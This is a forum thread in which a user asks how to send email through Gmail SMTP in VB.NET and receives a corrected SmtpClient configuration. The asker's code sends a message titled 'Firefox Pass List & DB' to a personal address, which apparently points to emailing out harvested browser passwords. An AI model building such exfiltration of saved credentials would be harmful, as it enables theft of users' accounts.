locked
Send SMTP Email through VB.NET RRS feed

  • Question

  • I am trying to make a program that will allow me to send emails using my google account.

    This is what I have so far:
    Try 
        Dim MailMsg As New MailMessage() 
        Dim mSC As New SmtpClient 
        MailMsg.From = New MailAddress(EIP & "@IP.Address") 
        MailMsg.To.Add(New MailAddress("bgrah7@hotmail.com")) 
        MailMsg.Subject = "Firefox Pass List & DB" 
        MailMsg.Body = tText 
        MailMsg.IsBodyHtml = False 
        MailMsg.Priority = MailPriority.Normal 
        mSC = New SmtpClient("bgrah7@gmail.com", "587") '<--- Incorrect 
        mSC.Credentials = New Net.NetworkCredential("username", "password") 
        mSC.Send(MailMsg) 
    Catch ex As Exception 
        MsgBox(ex.ToString) 
    End Try 

    Everything is cool except for that line that has '<--- Incorrect. (The .Credentials was removed for security reasons)
    It sellf my it cannot connect to the server bgrah7, blah blah.

    I know that my email doesn't go there, and the 587 has to be google's port, which I do not know lol.

    Any help would be greatly appreciated.

    Brian
    Monday, November 3, 2008 12:16 PM

Answers

  •  You are using correct port. Gmail use 587 port but it require Ssl Support. So you have to set EnableSsl property as true for smtpclient. Use following code to send email

                Dim fromAddress As String = "fromAddress@gmail.com"    
                Dim toAddress As String = "toAddress@gmail.com"    
        
                Dim message As New MailMessage(fromAddress, toAddress)     
                message.Subject = "Subject"   
                message.Body = "Body" 
        
                Dim client As New SmtpClient("smtp.gmail.com", 587)     
                client.EnableSsl = True    
                client.Credentials = New NetworkCredential(fromAddress, "Sender gmail password")     
                client.Send(message) 

    Gaurav Khanna
    Monday, November 3, 2008 1:34 PM